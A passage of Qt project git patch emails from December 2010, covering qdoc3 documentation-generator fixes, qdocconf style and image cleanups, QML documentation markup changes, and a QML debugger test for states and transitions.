@@ -5294,7 +5302,7 @@ void DitaXmlGenerator::writeNestedClasses(const Section& s, QString link = linkForNode((*m), n); xmlWriter().writeAttribute("href", link); QString name = n->name() + "::" + (*m)->name(); - xmlWriter().writeCharacters(name); + writeCharacters(name); xmlWriter().writeEndElement(); // } ++m; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index b13fa49..c077b53 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -112,6 +112,7 @@ class DitaXmlGenerator : public PageGenerator void writeXrefListItem(const QString& link, const QString& text); QString fullQualification(const Node* n); + void writeCharacters(const QString& text); void writeDerivations(const ClassNode* cn, CodeMarker* marker); void writeLocation(const Node* n); void writeFunctions(const Section& s, -- cgit v0.12 From 4db69b5c116412bbcdb032affe9fa2c73e61abb1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 8 Dec 2010 17:50:59 +0100 Subject: Updated the build files to use config files not command line options. --- doc/doc.pri | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/doc.pri b/doc/doc.pri index a5db3c7..3cdac61 100644 --- a/doc/doc.pri +++ b/doc/doc.pri @@ -19,8 +19,8 @@ $$unixstyle { QDOC = cd $$QT_SOURCE_TREE/tools/qdoc3/test && set QT_BUILD_TREE=$$QT_BUILD_TREE&& set QT_SOURCE_TREE=$$QT_SOURCE_TREE&& $$QT_BUILD_TREE/bin/qdoc3.exe $$DOCS_GENERATION_DEFINES QDOC = $$replace(QDOC, "/", "\\") } -ADP_DOCS_QDOCCONF_FILE = -online qt-build-docs.qdocconf -QT_DOCUMENTATION = ($$QDOC -creator qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \ +ADP_DOCS_QDOCCONF_FILE = qt-build-docs-online.qdocconf +QT_DOCUMENTATION = ($$QDOC qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \ linguist.qdocconf qmake.qdocconf qdeclarative.qdocconf) && \ (cd $$QT_BUILD_TREE && \ $$GENERATOR doc-build/html-qt/qt.qhp -o doc/qch/qt.qch && \ -- cgit v0.12 From 0ffdc7556920564fce899ccd4bb4e7ce68a5c4d2 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 8 Dec 2010 17:52:42 +0100 Subject: Use the same style of qmake variable referencing used elsewhere in Qt. --- tools/qdoc3/qdoc3.pro | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 4bc6bca..2fedc0f 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -86,9 +86,9 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp -INCLUDEPATH += $$(QT_BUILD_TREE)/include/QtDeclarative +INCLUDEPATH += $$QT_BUILD_TREE/include/QtDeclarative -include($$(QT_SOURCE_TREE)/src/declarative/qml/parser/parser.pri) +include($$QT_SOURCE_TREE/src/declarative/qml/parser/parser.pri) ### Documentation for qdoc3 ### -- cgit v0.12 From 185ad65aedeb45ee3739a4377c44f8d56a3bb4f5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 09:53:01 +0100 Subject: qdoc: Updated signature of generateInnerNode() in the XML generator. --- tools/qdoc3/ditaxmlgenerator.cpp | 17 +++++++++++------ tools/qdoc3/ditaxmlgenerator.h | 2 +- tools/qdoc3/qdoc3.pro | 2 +- 3 files changed, 13 insertions(+), 8 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 6b7d1fb..abe247b 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -699,11 +699,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead++; atom = atom->next(); } + str[0] = str[0].toLower(); + if (str.right(1) == ".") + str.truncate(str.length() - 1); + writeCharacters(str + "."); } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.truncate(str.length() - 1); - writeCharacters(str + "."); break; case Atom::BriefRight: // if (relative->type() != Node::Fake) @@ -5315,7 +5315,7 @@ void DitaXmlGenerator::writeNestedClasses(const Section& s, Recursive writing of DITA XML files from the root \a node. */ void -DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) +DitaXmlGenerator::generateInnerNode(const InnerNode* node) { if (!node->url().isNull()) return; @@ -5334,6 +5334,11 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) } } + /* + Obtain a code marker for the source file. + */ + CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath()); + if (node->parent() != 0) { beginSubPage(node->location(), fileName(node)); if (node->type() == Node::Namespace || node->type() == Node::Class) { @@ -5353,7 +5358,7 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { if ((*c)->isInnerNode() && (*c)->access() != Node::Private) - generateInnerNode((const InnerNode*) *c, marker); + generateInnerNode((const InnerNode*) *c); ++c; } } diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6075a86..1a42e5f 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -252,7 +252,7 @@ class DitaXmlGenerator : public PageGenerator GuidMap* lookupGuidMap(const QString& fileName); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); - virtual void generateInnerNode(const InnerNode* node, CodeMarker* marker); + virtual void generateInnerNode(const InnerNode* node); QXmlStreamWriter& xmlWriter(); void writeDetailedDescription(const Node* node, CodeMarker* marker, diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 4bc6bca..50c20ec 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -86,7 +86,7 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp -INCLUDEPATH += $$(QT_BUILD_TREE)/include/QtDeclarative +INCLUDEPATH += $$(QT_SOURCE_TREE)/include/QtDeclarative include($$(QT_SOURCE_TREE)/src/declarative/qml/parser/parser.pri) -- cgit v0.12 From 7cfb008dd0aa1908464f071b1661e40e6117aba8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 10:13:34 +0100 Subject: doc: Removed some empty \row commands from a table. --- doc/src/platforms/platform-notes.qdoc | 3 --- 1 file changed, 3 deletions(-) diff --git a/doc/src/platforms/platform-notes.qdoc b/doc/src/platforms/platform-notes.qdoc index 177d3f6..b745867 100644 --- a/doc/src/platforms/platform-notes.qdoc +++ b/doc/src/platforms/platform-notes.qdoc @@ -81,14 +81,11 @@ \header \o \o Concurrent \o XmlPatterns \o WebKit(*) \o CLucene \o Phonon \row \o g++ 3.3 \o \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o g++ 3.4 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o SunCC 5.5 \o \o \o \o \bold{X} \o \bold{X} - \row \row \o aCC series 3 \o \o \o \o \bold{X} \o \bold{X} \row \o aCC series 6 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \row \o xlC 6 \o \o \o \o \bold{X} \o \bold{X} \row \o Intel CC 10 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o MSVC 2003 \o \bold{X} \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o MSVC 2005 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \endtable -- cgit v0.12 From 3ee5edeff7890c3fc1099029320f0fb038e7f81d Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 12:56:47 +0100 Subject: doc: Removed the \hr macro from the DITA XML qdocconf file. This eliminates some "raw-html" cases. --- tools/qdoc3/test/qt-ditaxml.qdocconf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index cc2937a..bc32149 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -20,7 +20,7 @@ macro.BR.DITAXML = " " macro.copyright.DITAXML = "©" macro.eacute.DITAXML = "é" macro.gui = "\\bold" -macro.hr.DITAXML = "
    " +macro.hr.DITAXML = " " macro.iacute.DITAXML = "í" macro.key = "\\bold" macro.menu = "\\bold" -- cgit v0.12 From bdaab918e08f244bf397b1179358d5a54553b4c9 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 13:16:48 +0100 Subject: doc: Fixed the \raisedaster macro to write the element. But only for the special case of "*". Still, it got rid of a lot of raw-html cases. More to come here. --- tools/qdoc3/ditaxmlgenerator.cpp | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index abe247b..57a6e8d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1287,6 +1287,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; if (atom->string().startsWith("&")) writeCharacters(atom->string()); + else if (atom->string() == "*") { + xmlWriter().writeStartElement("sup"); + writeCharacters("*"); + xmlWriter().writeEndElement(); // + } else { xmlWriter().writeStartElement("pre"); xmlWriter().writeAttribute("outputclass","raw-html"); -- cgit v0.12 From 61a5cc5fcde2de0c3639e20104ff58ca91cf793b Mon Sep 17 00:00:00 2001 From: Christiaan Janssen Date: Thu, 9 Dec 2010 14:31:10 +0100 Subject: QmlDebugger: avoid deferring properties when compiling in a debug environment Reviewed-by: Kai Koehne --- src/declarative/qml/qdeclarativecompiler.cpp | 6 +- .../qdeclarativedebug/tst_qdeclarativedebug.cpp | 97 +++++++++++++++++++++- 2 files changed, 100 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 4749bf8..b375b27 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -65,6 +65,7 @@ #include "private/qdeclarativebinding_p.h" #include "private/qdeclarativecompiledbindings_p.h" #include "private/qdeclarativeglobalscriptclass_p.h" +#include "private/qdeclarativedebugservice_p.h" #include #include @@ -754,7 +755,10 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt) QList customProps; // Fetch the list of deferred properties - QStringList deferredList = deferredProperties(obj); + QStringList deferredList; + if (!QDeclarativeDebugService::isDebuggingEnabled()) { + deferredList = deferredProperties(obj); + } // Must do id property first. This is to ensure that the id given to any // id reference created matches the order in which the objects are diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp index 53471bf..20a3fa6 100644 --- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp +++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp @@ -114,6 +114,7 @@ private slots: void tst_QDeclarativeDebugPropertyReference(); void setMethodBody(); + void queryObjectTree(); }; QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context) @@ -308,6 +309,34 @@ void tst_QDeclarativeDebug::initTestCase() "function myMethodIndirect() { myMethod(3); }\n" "}"; + // and a fourth to test states + qml << "import QtQuick 1.0\n" + "Rectangle {\n" + "id:rootRect\n" + "width:100\n" + "states: [\n" + "State {\n" + "name:\"state1\"\n" + "PropertyChanges {\n" + "target:rootRect\n" + "width:200\n" + "}\n" + "}\n" + "]\n" + "transitions: [\n" + "Transition {\n" + "from:\"*\"\n" + "to:\"state1\"\n" + "PropertyAnimation {\n" + "target:rootRect\n" + "property:\"width\"\n" + "duration:100\n" + "}\n" + "}\n" + "]\n" + "}\n" + ; + for (int i=0; iobjectName()); - QCOMPARE(context.objects().count(), 3); // 3 qml component objects created for context in main() + QCOMPARE(context.objects().count(), 4); // 4 qml component objects created for context in main() // root context query sends only root object data - it doesn't fill in // the children or property info QCOMPARE(context.objects()[0].properties().count(), 0); QCOMPARE(context.objects()[0].children().count(), 0); - QCOMPARE(context.contexts().count(), 4); + QCOMPARE(context.contexts().count(), 5); QVERIFY(context.contexts()[0].debugId() >= 0); QCOMPARE(context.contexts()[0].name(), QString("tst_QDeclarativeDebug_childContext")); @@ -897,6 +926,70 @@ void tst_QDeclarativeDebug::tst_QDeclarativeDebugPropertyReference() compareProperties(r, ref); } +void tst_QDeclarativeDebug::queryObjectTree() +{ + const int sourceIndex = 3; + + // Check if states/transitions are initialized when fetching root item + QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this); + waitForQuery(q_engines); + + QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this); + waitForQuery(q_context); + + QVERIFY(q_context->rootContext().objects().count() > sourceIndex); + QDeclarativeDebugObjectReference rootObject = q_context->rootContext().objects()[sourceIndex]; + + QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObjectRecursive(rootObject, this); + waitForQuery(q_obj); + + QDeclarativeDebugObjectReference obj = q_obj->object(); + + delete q_engines; + delete q_context; + delete q_obj; + + QVERIFY(obj.debugId() != -1); + QVERIFY(obj.children().count() >= 2); + + + + // check state + QDeclarativeDebugObjectReference state = obj.children()[0]; + QCOMPARE(state.className(), QString("State")); + QVERIFY(state.children().count() > 0); + + QDeclarativeDebugObjectReference propertyChange = state.children()[0]; + QVERIFY(propertyChange.debugId() != -1); + + QDeclarativeDebugPropertyReference propertyChangeTarget = findProperty(propertyChange.properties(),"target"); + QCOMPARE(propertyChangeTarget.objectDebugId(), propertyChange.debugId()); + + QDeclarativeDebugObjectReference targetReference = qvariant_cast(propertyChangeTarget.value()); + QVERIFY(targetReference.debugId() != -1); + + + + // check transition + QDeclarativeDebugObjectReference transition = obj.children()[1]; + QCOMPARE(transition.className(), QString("Transition")); + QCOMPARE(findProperty(transition.properties(),"from").value().toString(), QString("*")); + QCOMPARE(findProperty(transition.properties(),"to").value(), findProperty(state.properties(),"name").value()); + QVERIFY(transition.children().count() > 0); + + QDeclarativeDebugObjectReference animation = transition.children()[0]; + QVERIFY(animation.debugId() != -1); + + QDeclarativeDebugPropertyReference animationTarget = findProperty(animation.properties(),"target"); + QCOMPARE(animationTarget.objectDebugId(), animation.debugId()); + + targetReference = qvariant_cast(animationTarget.value()); + QVERIFY(targetReference.debugId() != -1); + + QCOMPARE(findProperty(animation.properties(),"property").value().toString(), QString("width")); + QCOMPARE(findProperty(animation.properties(),"duration").value().toInt(), 100); +} + int main(int argc, char *argv[]) { int _argc = argc + 1; -- cgit v0.12 From 05f330b96deaec54c4cfd7c1a190e7d90d77a54d Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 16:00:56 +0100 Subject: Used a different style class for areas containing QML markup. --- tools/qdoc3/htmlgenerator.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 456654f..ba36d9c 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -489,7 +489,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, break; #ifdef QDOC_QML case Atom::Qml: - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                      marker,relative))
                   << "
    \n"; -- cgit v0.12 From 32292ebabf620200708d40fa8bfa43fc6562d716 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 16:02:22 +0100 Subject: Removed redundant style information and images. --- tools/qdoc3/test/qt-html-default-styles.qdocconf | 26 ++++------------------ tools/qdoc3/test/qt-html-online-styles.qdocconf | 11 +++------ tools/qdoc3/test/qt-html-templates-online.qdocconf | 6 +---- tools/qdoc3/test/qt-html-templates.qdocconf | 20 ++--------------- 4 files changed, 10 insertions(+), 53 deletions(-) diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index 30c28cb..c9c02ea 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -4,43 +4,25 @@ HTML.templatedir = $QT_SOURCE_TREE/doc/src/template -HTML.stylesheets = style/style.css \ - style/narrow.css +HTML.stylesheets = style/style.css HTML.scripts = # Files not referenced in any qdoc file (last four needed by qtdemo) # See also qhp.Qt.extraFiles -extraimages.HTML = qt-logo \ - trolltech-logo \ - bg_l.png \ - bg_l_blank.png \ - bg_ll_blank.png \ - bg_ul_blank.png \ - header_bg.png \ - bg_r.png \ - box_bg.png \ +extraimages.HTML = qt-logo.png \ + arrow_down.png \ breadcrumb.png \ bullet_gt.png \ bullet_dn.png \ bullet_sq.png \ bullet_up.png \ - arrow_down.png \ - feedbackground.png \ horBar.png \ - page.png \ - page_bg.png \ - sprites-combined.png \ - spinner.gif \ - stylesheet-coffee-plastique.png \ - taskmenuextension-example.png \ - coloreditorfactoryimage.png \ - dynamiclayouts-example.png + sprites-combined.png # Include the style sheets and scripts used. HTML.headerstyles = \ - " \n" \ " \n" HTML.headerscripts = diff --git a/tools/qdoc3/test/qt-html-online-styles.qdocconf b/tools/qdoc3/test/qt-html-online-styles.qdocconf index 06f8964..6db3491 100644 --- a/tools/qdoc3/test/qt-html-online-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-online-styles.qdocconf @@ -18,10 +18,9 @@ HTML.scripts = scripts/functions.js \ scripts/jquery.js -# Files not referenced in any qdoc file (last four needed by qtdemo) +# Files not referenced in any qdoc file. # See also qhp.Qt.extraFiles -extraimages.HTML = qt-logo \ - trolltech-logo \ +extraimages.HTML = qt-logo.png \ bg_l.png \ bg_l_blank.png \ bg_ll_blank.png \ @@ -40,11 +39,7 @@ extraimages.HTML = qt-logo \ page.png \ page_bg.png \ sprites-combined.png \ - spinner.gif \ - stylesheet-coffee-plastique.png \ - taskmenuextension-example.png \ - coloreditorfactoryimage.png \ - dynamiclayouts-example.png + spinner.gif # Include the style sheets and scripts used. diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf index 1d55cee..bc7dbd2 100644 --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -198,7 +198,7 @@ HTML.footer = \ " \n" -# Files not referenced in any qdoc file (last four are needed by qtdemo) +# Files not referenced in any qdoc file. # See also extraimages.HTML qhp.Qt.extraFiles = index.html \ images/bg_l.png \ @@ -220,10 +220,6 @@ qhp.Qt.extraFiles = index.html \ images/page_bg.png \ images/sprites-combined.png \ images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ scripts/functions.js \ scripts/jquery.js \ scripts/narrow.js \ diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 67ce95a..8241fa0 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -47,31 +47,15 @@ HTML.footer = \ " as published by the Free Software Foundation.

    \n" \ "
    \n" \ -# Files not referenced in any qdoc file (last four are needed by qtdemo) +# Files not referenced in any qdoc file. # See also extraimages.HTML qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ + images/arrow_down.png \ images/breadcrumb.png \ images/bullet_gt.png \ images/bullet_dn.png \ images/bullet_sq.png \ images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ images/horBar.png \ - images/page.png \ - images/page_bg.png \ images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - style/narrow.css \ style/style.css -- cgit v0.12 From 77f069df4dcfd40a3d009f40e074ce1a5ac132c1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 19:38:01 +0100 Subject: Added hack to remove markup for opened comments at the end of snippets. --- tools/qdoc3/quoter.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp index 6dc7894..84c6fb1 100644 --- a/tools/qdoc3/quoter.cpp +++ b/tools/qdoc3/quoter.cpp @@ -235,10 +235,14 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif QString lastLine = getLine(); int dIndex = lastLine.indexOf(delimiter); if (dIndex > 0) { + // The delimiter might be preceded on the line by other + // delimeters, so look for the first comment on the line. QString leading = lastLine.left(dIndex); dIndex = leading.indexOf(comment); if (dIndex != -1) leading = leading.left(dIndex); + if (leading.endsWith(QLatin1String("<@comment>"))) + leading.chop(10); if (!leading.trimmed().isEmpty()) t += leading; } -- cgit v0.12 From 297da17b94df6cd4a3b0c4ade56baf55310939e8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 19:39:35 +0100 Subject: Ensured that object definition identifiers are marked up as links. It may be worthwhile extending this to other UiQualifiedId nodes. --- tools/qdoc3/qmlmarkupvisitor.cpp | 14 +++++++++++--- tools/qdoc3/qmlmarkupvisitor.h | 3 ++- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 6bede96..9916be2 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -183,7 +183,8 @@ void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) } void QmlMarkupVisitor::addMarkedUpToken( - QDeclarativeJS::AST::SourceLocation &location, const QString &tagName) + QDeclarativeJS::AST::SourceLocation &location, const QString &tagName, + const QHash &attributes) { if (!location.isValid()) return; @@ -193,7 +194,10 @@ void QmlMarkupVisitor::addMarkedUpToken( else if (cursor > location.offset) return; - output += QString(QLatin1String("<@%1>%2")).arg(tagName, protect(sourceText(location)), tagName); + output += QString(QLatin1String("<@%1")).arg(tagName); + foreach (const QString &key, attributes) + output += QString(QLatin1String(" %1=\"%2\"")).arg(key).arg(attributes[key]); + output += QString(QLatin1String(">%2")).arg(protect(sourceText(location)), tagName); cursor += location.length; } @@ -853,9 +857,13 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) return true; } +// Elements and items are represented by UiObjectDefinition nodes. + bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { - QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); + QHash attributes; + attributes[QLatin1String("node")] = sourceText(definition->qualifiedTypeNameId->identifierToken); + addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("link"), attributes); QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; } diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 7a9ff22..60bc336 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -161,7 +161,8 @@ protected: private: void addExtra(quint32 start, quint32 finish); void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, - const QString &text); + const QString &text, + const QHash &attributes = QHash()); void addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); QString sourceText(QDeclarativeJS::AST::SourceLocation &location); -- cgit v0.12 From 4b8b0321828bd1175534ff3b883956c5b97f9399 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 19:41:10 +0100 Subject: Doc: Temporarily used \qml...\endqml markup for the QML introduction. --- doc/src/declarative/qdeclarativeintro.qdoc | 75 +++++++++++++----------------- 1 file changed, 32 insertions(+), 43 deletions(-) diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc index 4e41fda..299ec73 100644 --- a/doc/src/declarative/qdeclarativeintro.qdoc +++ b/doc/src/declarative/qdeclarativeintro.qdoc @@ -45,7 +45,7 @@ technologies like HTML and CSS, but it's not required. QML looks like this: -\code +\qml import QtQuick 1.0 Rectangle { @@ -58,7 +58,7 @@ Rectangle { anchors.centerIn: parent } } -\endcode +\endqml Objects are specified by their type, followed by a pair of braces. Object types always begin with a capital letter. In the above example, there are @@ -71,18 +71,18 @@ value \c "pics/logo.png". The property and its value are separated by a colon. Properties can be specified one-per-line: -\code +\qml Rectangle { width: 100 height: 100 } -\endcode +\endqml or you can put multiple properties on a single line: -\code +\qml Rectangle { width: 100; height: 100 } -\endcode +\endqml When multiple property/value pairs are specified on a single line, they must be separated by a semicolon. @@ -96,17 +96,17 @@ and \l Image elements would not be available. In addition to assigning values to properties, you can also assign expressions written in JavaScript. -\code +\qml Rotation { angle: 360 * 3 } -\endcode +\endqml These expressions can include references to other objects and properties, in which case a \e binding is established: when the value of the expression changes, the property the expression has been assigned to is automatically updated to that value. -\code +\qml Item { Text { id: text1 @@ -117,7 +117,7 @@ Item { text: text1.text } } -\endcode +\endqml In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, \c text2 is automatically changed to the same value. @@ -142,12 +142,12 @@ your QML files. Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems. -\code +\qml Text { text: "Hello world!" //opacity: 0.5 } -\endcode +\endqml In the above example, the Text object will have normal opacity, since the line opacity: 0.5 has been turned into a comment. @@ -164,14 +164,14 @@ Properties begin with a lowercase letter (with the exception of \l{Attached Prop QML supports properties of many types (see \l{QML Basic Types}). The basic types include int, real, bool, string, color, and lists. -\code +\qml Item { x: 10.5 // a 'real' property - ... + // ... state: "details" // a 'string' property focus: true // a 'bool' property } -\endcode +\endqml QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that matches the property type. For example, the \c x property of item is a real, and if you try to assign @@ -193,7 +193,7 @@ The first Rectangle element below has an \e id, "myRect". The second Rectangle e own width by referring to \tt myRect.width, which means it will have the same \tt width value as the first Rectangle element. -\code +\qml Item { Rectangle { id: myRect @@ -205,7 +205,7 @@ Item { height: 200 } } -\endcode +\endqml Note that an \e id must begin with a lower-case letter or an underscore, and cannot contain characters other than letters, numbers and underscores. @@ -214,24 +214,24 @@ Note that an \e id must begin with a lower-case letter or an underscore, and can List properties look like this: -\code +\qml Item { children: [ Image {}, Text {} ] } -\endcode +\endqml The list is enclosed in square brackets, with a comma separating the list elements. In cases where you are only assigning a single item to a list, you can omit the square brackets: -\code +\qml Image { children: Rectangle {} } -\endcode +\endqml Items in the list can be accessed by index. See the \l{list}{list type} documentation for more details about list properties and their available operations. @@ -243,23 +243,23 @@ Each object type can specify one of its list or object properties as its default If a property has been declared as the default property, the property tag can be omitted. For example this code: -\code +\qml State { changes: [ PropertyChanges {}, PropertyChanges {} ] } -\endcode +\endqml can be simplified to: -\code +\qml State { PropertyChanges {} PropertyChanges {} } -\endcode +\endqml because \c changes is the default property of the \c State type. @@ -294,18 +294,7 @@ are of the form \e {Type.property} where \e Type is the type of the element that attaches \e property. For example: -\code -Component { - id: myDelegate - Text { - text: "Hello" - color: ListView.isCurrentItem ? "red" : "blue" - } -} -ListView { - delegate: myDelegate -} -\endcode +\snippet doc/src/snippets/declarative/introduction-qml/attachedproperties1.qml component and list view The \l ListView element attaches the \e ListView.isCurrentItem property to each delegate it creates. @@ -314,12 +303,12 @@ Another example of attached properties is the \l Keys element which attaches properties for handling key presses to any visual Item, for example: -\code +\qml Item { focus: true Keys.onSelectPressed: console.log("Selected") } -\endcode +\endqml \section2 Signal Handlers @@ -327,23 +316,23 @@ Signal handlers allow actions to be taken in response to an event. For instance the \l MouseArea element has signal handlers to handle mouse press, release and click: -\code +\qml MouseArea { onPressed: console.log("mouse button pressed") } -\endcode +\endqml All signal handlers begin with \e "on". Some signal handlers include an optional parameter, for example the MouseArea onPressed signal handler has a \e mouse parameter: -\code +\qml MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton onPressed: if (mouse.button == Qt.RightButton) console.log("Right mouse button pressed") } -\endcode +\endqml */ -- cgit v0.12 From f2eca0c0380a0e06ccc7f98c8d112549ac9fa085 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Fri, 10 Dec 2010 11:24:49 +1000 Subject: Add 'mirror' property to Image element. Setting mirror to true will horizontally invert an image. This feature is part of the task to support RTL in QML (see QTBUG-11042). Task-number: QTBUG-15878 Reviewed-by: Joona Petrell --- .../graphicsitems/qdeclarativeanimatedimage.cpp | 12 ++- .../graphicsitems/qdeclarativeborderimage.cpp | 19 ++++ .../graphicsitems/qdeclarativeimage.cpp | 103 +++++++++++---------- .../graphicsitems/qdeclarativeimagebase.cpp | 20 ++++ .../graphicsitems/qdeclarativeimagebase_p.h | 5 + .../graphicsitems/qdeclarativeimagebase_p_p.h | 4 +- .../qdeclarativeanimatedimage/data/hearts.gif | Bin 0 -> 6524 bytes 